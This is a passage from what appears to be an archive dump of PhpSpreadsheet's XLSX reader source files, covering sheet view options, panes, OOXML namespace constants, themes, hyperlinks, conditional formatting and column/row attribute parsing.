Rule::AUTOFILTER_COLUMN_RULE_TOPTEN_BY_VALUE ), (string) ($attr2['val'] ?? ''), ( ((isset($attr2['top'])) && ((string) $attr2['top'] === '1')) ? Rule::AUTOFILTER_COLUMN_RULE_TOPTEN_TOP : Rule::AUTOFILTER_COLUMN_RULE_TOPTEN_BOTTOM ) )->setRuleType(Rule::AUTOFILTER_RULETYPE_TOPTENFILTER); } } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xlsx/SheetViewOptions.php000064400000011277151676714400023407 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xlsx; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; use SimpleXMLElement; class SheetViewOptions extends BaseParserClass { private Worksheet $worksheet; private ?SimpleXMLElement $worksheetXml; public function __construct(Worksheet $workSheet, ?SimpleXMLElement $worksheetXml = null) { $this->worksheet = $workSheet; $this->worksheetXml = $worksheetXml; } public function load(bool $readDataOnly, Styles $styleReader): void { if ($this->worksheetXml === null) { return; } if (isset($this->worksheetXml->sheetPr)) { $sheetPr = $this->worksheetXml->sheetPr; $this->tabColor($sheetPr, $styleReader); $this->codeName($sheetPr); $this->outlines($sheetPr); $this->pageSetup($sheetPr); } if (isset($this->worksheetXml->sheetFormatPr)) { $this->sheetFormat($this->worksheetXml->sheetFormatPr); } if (!$readDataOnly && isset($this->worksheetXml->printOptions)) { $this->printOptions($this->worksheetXml->printOptions); } } private function tabColor(SimpleXMLElement $sheetPr, Styles $styleReader): void { if (isset($sheetPr->tabColor)) { $this->worksheet->getTabColor()->setARGB($styleReader->readColor($sheetPr->tabColor)); } } private function codeName(SimpleXMLElement $sheetPrx): void { $sheetPr = $sheetPrx->attributes() ?? []; if (isset($sheetPr['codeName'])) { $this->worksheet->setCodeName((string) $sheetPr['codeName'], false); } } private function outlines(SimpleXMLElement $sheetPr): void { if (isset($sheetPr->outlinePr)) { $attr = $sheetPr->outlinePr->attributes() ?? []; if ( isset($attr['summaryRight']) && !self::boolean((string) $attr['summaryRight']) ) { $this->worksheet->setShowSummaryRight(false); } else { $this->worksheet->setShowSummaryRight(true); } if ( isset($attr['summaryBelow']) && !self::boolean((string) $attr['summaryBelow']) ) { $this->worksheet->setShowSummaryBelow(false); } else { $this->worksheet->setShowSummaryBelow(true); } } } private function pageSetup(SimpleXMLElement $sheetPr): void { if (isset($sheetPr->pageSetUpPr)) { $attr = $sheetPr->pageSetUpPr->attributes() ?? []; if ( isset($attr['fitToPage']) && !self::boolean((string) $attr['fitToPage']) ) { $this->worksheet->getPageSetup()->setFitToPage(false); } else { $this->worksheet->getPageSetup()->setFitToPage(true); } } } private function sheetFormat(SimpleXMLElement $sheetFormatPrx): void { $sheetFormatPr = $sheetFormatPrx->attributes() ?? []; if ( isset($sheetFormatPr['customHeight']) && self::boolean((string) $sheetFormatPr['customHeight']) && isset($sheetFormatPr['defaultRowHeight']) ) { $this->worksheet->getDefaultRowDimension() ->setRowHeight((float) $sheetFormatPr['defaultRowHeight']); } if (isset($sheetFormatPr['defaultColWidth'])) { $this->worksheet->getDefaultColumnDimension() ->setWidth((float) $sheetFormatPr['defaultColWidth']); } if ( isset($sheetFormatPr['zeroHeight']) && ((string) $sheetFormatPr['zeroHeight'] === '1') ) { $this->worksheet->getDefaultRowDimension()->setZeroHeight(true); } } private function printOptions(SimpleXMLElement $printOptionsx): void { $printOptions = $printOptionsx->attributes() ?? []; if (isset($printOptions['gridLinesSet']) && self::boolean((string) $printOptions['gridLinesSet'])) { $this->worksheet->setShowGridlines(true); } if (isset($printOptions['gridLines']) && self::boolean((string) $printOptions['gridLines'])) { $this->worksheet->setPrintGridlines(true); } if (isset($printOptions['horizontalCentered']) && self::boolean((string) $printOptions['horizontalCentered'])) { $this->worksheet->getPageSetup()->setHorizontalCentered(true); } if (isset($printOptions['verticalCentered']) && self::boolean((string) $printOptions['verticalCentered'])) { $this->worksheet->getPageSetup()->setVerticalCentered(true); } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xlsx/SheetViews.php000064400000015664151676714400022222 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xlsx; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Reader\Xlsx; use PhpOffice\PhpSpreadsheet\Worksheet\Pane; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; use SimpleXMLElement; class SheetViews extends BaseParserClass { private SimpleXMLElement $sheetViewXml; private SimpleXMLElement $sheetViewAttributes; private Worksheet $worksheet; private string $activePane = ''; public function __construct(SimpleXMLElement $sheetViewXml, Worksheet $workSheet) { $this->sheetViewXml = $sheetViewXml; $this->sheetViewAttributes = Xlsx::testSimpleXml($sheetViewXml->attributes()); $this->worksheet = $workSheet; } public function load(): void { $this->topLeft(); $this->zoomScale(); $this->view(); $this->gridLines(); $this->headers(); $this->direction(); $this->showZeros(); $usesPanes = false; if (isset($this->sheetViewXml->pane)) { $this->pane(); $usesPanes = true; } if (isset($this->sheetViewXml->selection)) { foreach ($this->sheetViewXml->selection as $selection) { $this->selection($selection, $usesPanes); } } } private function zoomScale(): void { if (isset($this->sheetViewAttributes->zoomScale)) { $zoomScale = (int) ($this->sheetViewAttributes->zoomScale); if ($zoomScale <= 0) { // setZoomScale will throw an Exception if the scale is less than or equals 0 // that is OK when manually creating documents, but we should be able to read all documents $zoomScale = 100; } $this->worksheet->getSheetView()->setZoomScale($zoomScale); } if (isset($this->sheetViewAttributes->zoomScaleNormal)) { $zoomScaleNormal = (int) ($this->sheetViewAttributes->zoomScaleNormal); if ($zoomScaleNormal <= 0) { // setZoomScaleNormal will throw an Exception if the scale is less than or equals 0 // that is OK when manually creating documents, but we should be able to read all documents $zoomScaleNormal = 100; } $this->worksheet->getSheetView()->setZoomScaleNormal($zoomScaleNormal); } if (isset($this->sheetViewAttributes->zoomScalePageLayoutView)) { $zoomScaleNormal = (int) ($this->sheetViewAttributes->zoomScalePageLayoutView); if ($zoomScaleNormal > 0) { $this->worksheet->getSheetView()->setZoomScalePageLayoutView($zoomScaleNormal); } } if (isset($this->sheetViewAttributes->zoomScaleSheetLayoutView)) { $zoomScaleNormal = (int) ($this->sheetViewAttributes->zoomScaleSheetLayoutView); if ($zoomScaleNormal > 0) { $this->worksheet->getSheetView()->setZoomScaleSheetLayoutView($zoomScaleNormal); } } } private function view(): void { if (isset($this->sheetViewAttributes->view)) { $this->worksheet->getSheetView()->setView((string) $this->sheetViewAttributes->view); } } private function topLeft(): void { if (isset($this->sheetViewAttributes->topLeftCell)) { $this->worksheet->setTopLeftCell($this->sheetViewAttributes->topLeftCell); } } private function gridLines(): void { if (isset($this->sheetViewAttributes->showGridLines)) { $this->worksheet->setShowGridLines( self::boolean((string) $this->sheetViewAttributes->showGridLines) ); } } private function headers(): void { if (isset($this->sheetViewAttributes->showRowColHeaders)) { $this->worksheet->setShowRowColHeaders( self::boolean((string) $this->sheetViewAttributes->showRowColHeaders) ); } } private function direction(): void { if (isset($this->sheetViewAttributes->rightToLeft)) { $this->worksheet->setRightToLeft( self::boolean((string) $this->sheetViewAttributes->rightToLeft) ); } } private function showZeros(): void { if (isset($this->sheetViewAttributes->showZeros)) { $this->worksheet->getSheetView()->setShowZeros( self::boolean((string) $this->sheetViewAttributes->showZeros) ); } } private function pane(): void { $xSplit = 0; $ySplit = 0; $topLeftCell = null; $paneAttributes = $this->sheetViewXml->pane->attributes(); if (isset($paneAttributes->xSplit)) { $xSplit = (int) ($paneAttributes->xSplit); $this->worksheet->setXSplit($xSplit); } if (isset($paneAttributes->ySplit)) { $ySplit = (int) ($paneAttributes->ySplit); $this->worksheet->setYSplit($ySplit); } $paneState = isset($paneAttributes->state) ? ((string) $paneAttributes->state) : ''; $this->worksheet->setPaneState($paneState); if (isset($paneAttributes->topLeftCell)) { $topLeftCell = (string) $paneAttributes->topLeftCell; $this->worksheet->setPaneTopLeftCell($topLeftCell); if ($paneState === Worksheet::PANE_FROZEN) { $this->worksheet->setTopLeftCell($topLeftCell); } } $activePane = isset($paneAttributes->activePane) ? ((string) $paneAttributes->activePane) : 'topLeft'; $this->worksheet->setActivePane($activePane); $this->activePane = $activePane; if ($paneState === Worksheet::PANE_FROZEN || $paneState === Worksheet::PANE_FROZENSPLIT) { $this->worksheet->freezePane( Coordinate::stringFromColumnIndex($xSplit + 1) . ($ySplit + 1), $topLeftCell, $paneState === Worksheet::PANE_FROZENSPLIT ); } } private function selection(?SimpleXMLElement $selection, bool $usesPanes): void { $attributes = ($selection === null) ? null : $selection->attributes(); if ($attributes !== null) { $position = (string) $attributes->pane; if ($usesPanes && $position === '') { $position = 'topLeft'; } $activeCell = (string) $attributes->activeCell; $sqref = (string) $attributes->sqref; $sqref = explode(' ', $sqref); $sqref = $sqref[0]; if ($position === '') { $this->worksheet->setSelectedCells($sqref); } else { $pane = new Pane($position, $sqref, $activeCell); $this->worksheet->setPane($position, $pane); if ($position === $this->activePane && $sqref !== '') { $this->worksheet->setSelectedCells($sqref); } } } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xlsx/Namespaces.php000064400000012255151676714400022204 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xlsx; class Namespaces { const SCHEMAS = 'http://schemas.openxmlformats.org'; const RELATIONSHIPS = 'http://schemas.openxmlformats.org/package/2006/relationships'; // This one used in Reader\Xlsx const CORE_PROPERTIES = 'http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties'; // This one used in Reader\Xlsx\Properties const CORE_PROPERTIES2 = 'http://schemas.openxmlformats.org/package/2006/metadata/core-properties'; const THUMBNAIL = 'http://schemas.openxmlformats.org/package/2006/relationships/metadata/thumbnail'; const THEME = 'http://schemas.openxmlformats.org/package/2006/relationships/theme'; const THEME2 = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme'; const COMPATIBILITY = 'http://schemas.openxmlformats.org/markup-compatibility/2006'; const MAIN = 'http://schemas.openxmlformats.org/spreadsheetml/2006/main'; const RELATIONSHIPS_DRAWING = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/drawing'; const DRAWINGML = 'http://schemas.openxmlformats.org/drawingml/2006/main'; const CHART = 'http://schemas.openxmlformats.org/drawingml/2006/chart'; const CHART_ALTERNATE = 'http://schemas.microsoft.com/office/drawing/2007/8/2/chart'; const RELATIONSHIPS_CHART = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/chart'; const SPREADSHEET_DRAWING = 'http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing'; const SCHEMA_OFFICE_DOCUMENT = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships'; const COMMENTS = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/comments'; const RELATIONSHIPS_CUSTOM_PROPERTIES = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/custom-properties'; const RELATIONSHIPS_EXTENDED_PROPERTIES = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties'; const RELATIONSHIPS_CTRLPROP = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/ctrlProp'; const CUSTOM_PROPERTIES = 'http://schemas.openxmlformats.org/officeDocument/2006/custom-properties'; const EXTENDED_PROPERTIES = 'http://schemas.openxmlformats.org/officeDocument/2006/extended-properties'; const PROPERTIES_VTYPES = 'http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes'; const HYPERLINK = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink'; const OFFICE_DOCUMENT = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument'; const SHARED_STRINGS = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/sharedStrings'; const STYLES = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles'; const IMAGE = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/image'; const VML = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/vmlDrawing'; const WORKSHEET = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet'; const CHARTSHEET = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/chartsheet'; const SCHEMA_MICROSOFT = 'http://schemas.microsoft.com/office/2006/relationships'; const EXTENSIBILITY = 'http://schemas.microsoft.com/office/2006/relationships/ui/extensibility'; const VBA = 'http://schemas.microsoft.com/office/2006/relationships/vbaProject'; const VBA_SIGNATURE = 'http://schemas.microsoft.com/office/2006/relationships/vbaProject'; const DATA_VALIDATIONS1 = 'http://schemas.microsoft.com/office/spreadsheetml/2009/9/main'; const DATA_VALIDATIONS2 = 'http://schemas.microsoft.com/office/excel/2006/main'; const CONTENT_TYPES = 'http://schemas.openxmlformats.org/package/2006/content-types'; const RELATIONSHIPS_PRINTER_SETTINGS = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/printerSettings'; const RELATIONSHIPS_TABLE = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/table'; const SPREADSHEETML_AC = 'http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac'; const DC_ELEMENTS = 'http://purl.org/dc/elements/1.1/'; const DC_TERMS = 'http://purl.org/dc/terms/'; const DC_DCMITYPE = 'http://purl.org/dc/dcmitype/'; const SCHEMA_INSTANCE = 'http://www.w3.org/2001/XMLSchema-instance'; const URN_EXCEL = 'urn:schemas-microsoft-com:office:excel'; const URN_MSOFFICE = 'urn:schemas-microsoft-com:office:office'; const URN_VML = 'urn:schemas-microsoft-com:vml'; const SCHEMA_PURL = 'http://purl.oclc.org/ooxml'; const PURL_OFFICE_DOCUMENT = 'http://purl.oclc.org/ooxml/officeDocument/relationships/officeDocument'; const PURL_RELATIONSHIPS = 'http://purl.oclc.org/ooxml/officeDocument/relationships'; const PURL_MAIN = 'http://purl.oclc.org/ooxml/spreadsheetml/main'; const PURL_DRAWING = 'http://purl.oclc.org/ooxml/drawingml/main'; const PURL_CHART = 'http://purl.oclc.org/ooxml/drawingml/chart'; const PURL_WORKSHEET = 'http://purl.oclc.org/ooxml/officeDocument/relationships/worksheet'; } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xlsx/Theme.php000064400000002353151676714400021165 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xlsx; class Theme { /** * Theme Name. */ private string $themeName; /** * Colour Scheme Name. */ private string $colourSchemeName; /** * Colour Map. * * @var string[] */ private array $colourMap; /** * Create a new Theme. * * @param string[] $colourMap */ public function __construct(string $themeName, string $colourSchemeName, array $colourMap) { // Initialise values $this->themeName = $themeName; $this->colourSchemeName = $colourSchemeName; $this->colourMap = $colourMap; } /** * Not called by Reader, never accessible any other time. * * @codeCoverageIgnore */ public function getThemeName(): string { return $this->themeName; } /** * Not called by Reader, never accessible any other time. * * @codeCoverageIgnore */ public function getColourSchemeName(): string { return $this->colourSchemeName; } /** * Get colour Map Value by Position. */ public function getColourByIndex(int $index): ?string { return $this->colourMap[$index] ?? null; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xlsx/Hyperlinks.php000064400000004271151676714400022254 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xlsx; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Reader\Xlsx; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; use SimpleXMLElement; class Hyperlinks { private Worksheet $worksheet; private array $hyperlinks = []; public function __construct(Worksheet $workSheet) { $this->worksheet = $workSheet; } public function readHyperlinks(SimpleXMLElement $relsWorksheet): void { foreach ($relsWorksheet->children(Namespaces::RELATIONSHIPS)->Relationship as $elementx) { $element = Xlsx::getAttributes($elementx); if ($element->Type == Namespaces::HYPERLINK) { $this->hyperlinks[(string) $element->Id] = (string) $element->Target; } } } public function setHyperlinks(SimpleXMLElement $worksheetXml): void { foreach ($worksheetXml->children(Namespaces::MAIN)->hyperlink as $hyperlink) { if ($hyperlink !== null) { $this->setHyperlink($hyperlink, $this->worksheet); } } } private function setHyperlink(SimpleXMLElement $hyperlink, Worksheet $worksheet): void { // Link url $linkRel = Xlsx::getAttributes($hyperlink, Namespaces::SCHEMA_OFFICE_DOCUMENT); $attributes = Xlsx::getAttributes($hyperlink); foreach (Coordinate::extractAllCellReferencesInRange($attributes->ref) as $cellReference) { $cell = $worksheet->getCell($cellReference); if (isset($linkRel['id'])) { $hyperlinkUrl = $this->hyperlinks[(string) $linkRel['id']] ?? null; if (isset($attributes['location'])) { $hyperlinkUrl .= '#' . (string) $attributes['location']; } $cell->getHyperlink()->setUrl($hyperlinkUrl); } elseif (isset($attributes['location'])) { $cell->getHyperlink()->setUrl('sheet://' . (string) $attributes['location']); } // Tooltip if (isset($attributes['tooltip'])) { $cell->getHyperlink()->setTooltip((string) $attributes['tooltip']); } } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xlsx/ConditionalStyles.php000064400000031513151676714400023572 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xlsx; use PhpOffice\PhpSpreadsheet\Reader\Xlsx\Styles as StyleReader; use PhpOffice\PhpSpreadsheet\Style\Color; use PhpOffice\PhpSpreadsheet\Style\Conditional; use PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting\ConditionalColorScale; use PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting\ConditionalDataBar; use PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting\ConditionalFormattingRuleExtension; use PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting\ConditionalFormatValueObject; use PhpOffice\PhpSpreadsheet\Style\Style as Style; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; use SimpleXMLElement; use stdClass; class ConditionalStyles { private Worksheet $worksheet; private SimpleXMLElement $worksheetXml; private array $ns; private array $dxfs; private StyleReader $styleReader; public function __construct(Worksheet $workSheet, SimpleXMLElement $worksheetXml, array $dxfs, StyleReader $styleReader) { $this->worksheet = $workSheet; $this->worksheetXml = $worksheetXml; $this->dxfs = $dxfs; $this->styleReader = $styleReader; } public function load(): void { $selectedCells = $this->worksheet->getSelectedCells(); $this->setConditionalStyles( $this->worksheet, $this->readConditionalStyles($this->worksheetXml), $this->worksheetXml->extLst ); $this->worksheet->setSelectedCells($selectedCells); } public function loadFromExt(): void { $selectedCells = $this->worksheet->getSelectedCells(); $this->ns = $this->worksheetXml->getNamespaces(true); $this->setConditionalsFromExt( $this->readConditionalsFromExt($this->worksheetXml->extLst) ); $this->worksheet->setSelectedCells($selectedCells); } private function setConditionalsFromExt(array $conditionals): void { foreach ($conditionals as $conditionalRange => $cfRules) { ksort($cfRules); // Priority is used as the key for sorting; but may not start at 0, // so we use array_values to reset the index after sorting. $this->worksheet->getStyle($conditionalRange) ->setConditionalStyles(array_values($cfRules)); } } private function readConditionalsFromExt(SimpleXMLElement $extLst): array { $conditionals = []; if (!isset($extLst->ext)) { return $conditionals; } foreach ($extLst->ext as $extlstcond) { $extAttrs = $extlstcond->attributes() ?? []; $extUri = (string) ($extAttrs['uri'] ?? ''); if ($extUri !== '{78C0D931-6437-407d-A8EE-F0AAD7539E65}') { continue; } $conditionalFormattingRuleXml = $extlstcond->children($this->ns['x14']); if (!$conditionalFormattingRuleXml->conditionalFormattings) { return []; } foreach ($conditionalFormattingRuleXml->children($this->ns['x14']) as $extFormattingXml) { $extFormattingRangeXml = $extFormattingXml->children($this->ns['xm']); if (!$extFormattingRangeXml->sqref) { continue; } $sqref = (string) $extFormattingRangeXml->sqref; $extCfRuleXml = $extFormattingXml->cfRule; $attributes = $extCfRuleXml->attributes(); if (!$attributes) { continue; } $conditionType = (string) $attributes->type; if ( !Conditional::isValidConditionType($conditionType) || $conditionType === Conditional::CONDITION_DATABAR ) { continue; } $priority = (int) $attributes->priority; $conditional = $this->readConditionalRuleFromExt($extCfRuleXml, $attributes); $cfStyle = $this->readStyleFromExt($extCfRuleXml); $conditional->setStyle($cfStyle); $conditionals[$sqref][$priority] = $conditional; } } return $conditionals; } private function readConditionalRuleFromExt(SimpleXMLElement $cfRuleXml, SimpleXMLElement $attributes): Conditional { $conditionType = (string) $attributes->type; $operatorType = (string) $attributes->operator; $operands = []; foreach ($cfRuleXml->children($this->ns['xm']) as $cfRuleOperandsXml) { $operands[] = (string) $cfRuleOperandsXml; } $conditional = new Conditional(); $conditional->setConditionType($conditionType); $conditional->setOperatorType($operatorType); if ( $conditionType === Conditional::CONDITION_CONTAINSTEXT || $conditionType === Conditional::CONDITION_NOTCONTAINSTEXT || $conditionType === Conditional::CONDITION_BEGINSWITH || $conditionType === Conditional::CONDITION_ENDSWITH || $conditionType === Conditional::CONDITION_TIMEPERIOD ) { $conditional->setText(array_pop($operands) ?? ''); } $conditional->setConditions($operands); return $conditional; } private function readStyleFromExt(SimpleXMLElement $extCfRuleXml): Style { $cfStyle = new Style(false, true); if ($extCfRuleXml->dxf) { $styleXML = $extCfRuleXml->dxf->children(); if ($styleXML->borders) { $this->styleReader->readBorderStyle($cfStyle->getBorders(), $styleXML->borders); } if ($styleXML->fill) { $this->styleReader->readFillStyle($cfStyle->getFill(), $styleXML->fill); } } return $cfStyle; } private function readConditionalStyles(SimpleXMLElement $xmlSheet): array { $conditionals = []; foreach ($xmlSheet->conditionalFormatting as $conditional) { foreach ($conditional->cfRule as $cfRule) { if (Conditional::isValidConditionType((string) $cfRule['type']) && (!isset($cfRule['dxfId']) || isset($this->dxfs[(int) ($cfRule['dxfId'])]))) { $conditionals[(string) $conditional['sqref']][(int) ($cfRule['priority'])] = $cfRule; } elseif ((string) $cfRule['type'] == Conditional::CONDITION_DATABAR) { $conditionals[(string) $conditional['sqref']][(int) ($cfRule['priority'])] = $cfRule; } } } return $conditionals; } private function setConditionalStyles(Worksheet $worksheet, array $conditionals, SimpleXMLElement $xmlExtLst): void { foreach ($conditionals as $cellRangeReference => $cfRules) { ksort($cfRules); $conditionalStyles = $this->readStyleRules($cfRules, $xmlExtLst); // Extract all cell references in $cellRangeReference $cellBlocks = explode(' ', str_replace('$', '', strtoupper($cellRangeReference))); foreach ($cellBlocks as $cellBlock) { $worksheet->getStyle($cellBlock)->setConditionalStyles($conditionalStyles); } } } private function readStyleRules(array $cfRules, SimpleXMLElement $extLst): array { $conditionalFormattingRuleExtensions = ConditionalFormattingRuleExtension::parseExtLstXml($extLst); $conditionalStyles = []; /** @var SimpleXMLElement $cfRule */ foreach ($cfRules as $cfRule) { $objConditional = new Conditional(); $objConditional->setConditionType((string) $cfRule['type']); $objConditional->setOperatorType((string) $cfRule['operator']); $objConditional->setNoFormatSet(!isset($cfRule['dxfId'])); if ((string) $cfRule['text'] != '') { $objConditional->setText((string) $cfRule['text']); } elseif ((string) $cfRule['timePeriod'] != '') { $objConditional->setText((string) $cfRule['timePeriod']); } if (isset($cfRule['stopIfTrue']) && (int) $cfRule['stopIfTrue'] === 1) { $objConditional->setStopIfTrue(true); } if (count($cfRule->formula) >= 1) { foreach ($cfRule->formula as $formulax) { $formula = (string) $formulax; if ($formula === 'TRUE') { $objConditional->addCondition(true); } elseif ($formula === 'FALSE') { $objConditional->addCondition(false); } else { $objConditional->addCondition($formula); } } } else { $objConditional->addCondition(''); } if (isset($cfRule->dataBar)) { $objConditional->setDataBar( $this->readDataBarOfConditionalRule($cfRule, $conditionalFormattingRuleExtensions) ); } elseif (isset($cfRule->colorScale)) { $objConditional->setColorScale( $this->readColorScale($cfRule) ); } elseif (isset($cfRule['dxfId'])) { $objConditional->setStyle(clone $this->dxfs[(int) ($cfRule['dxfId'])]); } $conditionalStyles[] = $objConditional; } return $conditionalStyles; } private function readDataBarOfConditionalRule(SimpleXMLElement $cfRule, array $conditionalFormattingRuleExtensions): ConditionalDataBar { $dataBar = new ConditionalDataBar(); //dataBar attribute if (isset($cfRule->dataBar['showValue'])) { $dataBar->setShowValue((bool) $cfRule->dataBar['showValue']); } //dataBar children //conditionalFormatValueObjects $cfvoXml = $cfRule->dataBar->cfvo; $cfvoIndex = 0; foreach ((count($cfvoXml) > 1 ? $cfvoXml : [$cfvoXml]) as $cfvo) { //* @phpstan-ignore-line if ($cfvoIndex === 0) { $dataBar->setMinimumConditionalFormatValueObject(new ConditionalFormatValueObject((string) $cfvo['type'], (string) $cfvo['val'])); } if ($cfvoIndex === 1) { $dataBar->setMaximumConditionalFormatValueObject(new ConditionalFormatValueObject((string) $cfvo['type'], (string) $cfvo['val'])); } ++$cfvoIndex; } //color if (isset($cfRule->dataBar->color)) { $dataBar->setColor($this->styleReader->readColor($cfRule->dataBar->color)); } //extLst $this->readDataBarExtLstOfConditionalRule($dataBar, $cfRule, $conditionalFormattingRuleExtensions); return $dataBar; } private function readColorScale(SimpleXMLElement|stdClass $cfRule): ConditionalColorScale { $colorScale = new ConditionalColorScale(); $types = []; foreach ($cfRule->colorScale->cfvo as $cfvoXml) { $attr = $cfvoXml->attributes() ?? []; $type = (string) ($attr['type'] ?? ''); $types[] = $type; $val = $attr['val'] ?? null; if ($type === 'min') { $colorScale->setMinimumConditionalFormatValueObject(new ConditionalFormatValueObject($type, $val)); } elseif ($type === 'percentile') { $colorScale->setMidpointConditionalFormatValueObject(new ConditionalFormatValueObject($type, $val)); } elseif ($type === 'max') { $colorScale->setMaximumConditionalFormatValueObject(new ConditionalFormatValueObject($type, $val)); } } $idx = 0; foreach ($cfRule->colorScale->color as $color) { $type = $types[$idx]; $rgb = $this->styleReader->readColor($color); if ($type === 'min') { $colorScale->setMinimumColor(new Color($rgb)); } elseif ($type === 'percentile') { $colorScale->setMidpointColor(new Color($rgb)); } elseif ($type === 'max') { $colorScale->setMaximumColor(new Color($rgb)); } ++$idx; } return $colorScale; } private function readDataBarExtLstOfConditionalRule(ConditionalDataBar $dataBar, SimpleXMLElement $cfRule, array $conditionalFormattingRuleExtensions): void { if (isset($cfRule->extLst)) { $ns = $cfRule->extLst->getNamespaces(true); foreach ((count($cfRule->extLst) > 0 ? $cfRule->extLst->ext : [$cfRule->extLst->ext]) as $ext) { //* @phpstan-ignore-line $extId = (string) $ext->children($ns['x14'])->id; if (isset($conditionalFormattingRuleExtensions[$extId]) && (string) $ext['uri'] === '{B025F937-C7B1-47D3-B67F-A62EFF666E3E}') { $dataBar->setConditionalFormattingRuleExt($conditionalFormattingRuleExtensions[$extId]); } } } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php000064400000021244151676714400024542 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xlsx; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Reader\DefaultReadFilter; use PhpOffice\PhpSpreadsheet\Reader\IReadFilter; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; use SimpleXMLElement; class ColumnAndRowAttributes extends BaseParserClass { private Worksheet $worksheet; private ?SimpleXMLElement $worksheetXml; public function __construct(Worksheet $workSheet, ?SimpleXMLElement $worksheetXml = null) { $this->worksheet = $workSheet; $this->worksheetXml = $worksheetXml; } /** * Set Worksheet column attributes by attributes array passed. * * @param string $columnAddress A, B, ... DX, ... * @param array $columnAttributes array of attributes (indexes are attribute name, values are value) * 'xfIndex', 'visible', 'collapsed', 'outlineLevel', 'width', ... ? */ private function setColumnAttributes(string $columnAddress, array $columnAttributes): void { if (isset($columnAttributes['xfIndex'])) { $this->worksheet->getColumnDimension($columnAddress)->setXfIndex($columnAttributes['xfIndex']); } if (isset($columnAttributes['visible'])) { $this->worksheet->getColumnDimension($columnAddress)->setVisible($columnAttributes['visible']); } if (isset($columnAttributes['collapsed'])) { $this->worksheet->getColumnDimension($columnAddress)->setCollapsed($columnAttributes['collapsed']); } if (isset($columnAttributes['outlineLevel'])) { $this->worksheet->getColumnDimension($columnAddress)->setOutlineLevel($columnAttributes['outlineLevel']); } if (isset($columnAttributes['width'])) { $this->worksheet->getColumnDimension($columnAddress)->setWidth($columnAttributes['width']); } } /** * Set Worksheet row attributes by attributes array passed. * * @param int $rowNumber 1, 2, 3, ... 99, ... * @param array $rowAttributes array of attributes (indexes are attribute name, values are value) * 'xfIndex', 'visible', 'collapsed', 'outlineLevel', 'rowHeight', ... ? */ private function setRowAttributes(int $rowNumber, array $rowAttributes): void { if (isset($rowAttributes['xfIndex'])) { $this->worksheet->getRowDimension($rowNumber)->setXfIndex($rowAttributes['xfIndex']); } if (isset($rowAttributes['visible'])) { $this->worksheet->getRowDimension($rowNumber)->setVisible($rowAttributes['visible']); } if (isset($rowAttributes['collapsed'])) { $this->worksheet->getRowDimension($rowNumber)->setCollapsed($rowAttributes['collapsed']); } if (isset($rowAttributes['outlineLevel'])) { $this->worksheet->getRowDimension($rowNumber)->setOutlineLevel($rowAttributes['outlineLevel']); } if (isset($rowAttributes['rowHeight'])) { $this->worksheet->getRowDimension($rowNumber)->setRowHeight($rowAttributes['rowHeight']); } } public function load(?IReadFilter $readFilter = null, bool $readDataOnly = false): void { if ($this->worksheetXml === null) { return; } $columnsAttributes = []; $rowsAttributes = []; if (isset($this->worksheetXml->cols)) { $columnsAttributes = $this->readColumnAttributes($this->worksheetXml->cols, $readDataOnly); } if ($this->worksheetXml->sheetData && $this->worksheetXml->sheetData->row) { $rowsAttributes = $this->readRowAttributes($this->worksheetXml->sheetData->row, $readDataOnly); } if ($readFilter !== null && $readFilter::class === DefaultReadFilter::class) { $readFilter = null; } // set columns/rows attributes $columnsAttributesAreSet = []; foreach ($columnsAttributes as $columnCoordinate => $columnAttributes) { if ( $readFilter === null || !$this->isFilteredColumn($readFilter, $columnCoordinate, $rowsAttributes) ) { if (!isset($columnsAttributesAreSet[$columnCoordinate])) { $this->setColumnAttributes($columnCoordinate, $columnAttributes); $columnsAttributesAreSet[$columnCoordinate] = true; } } } 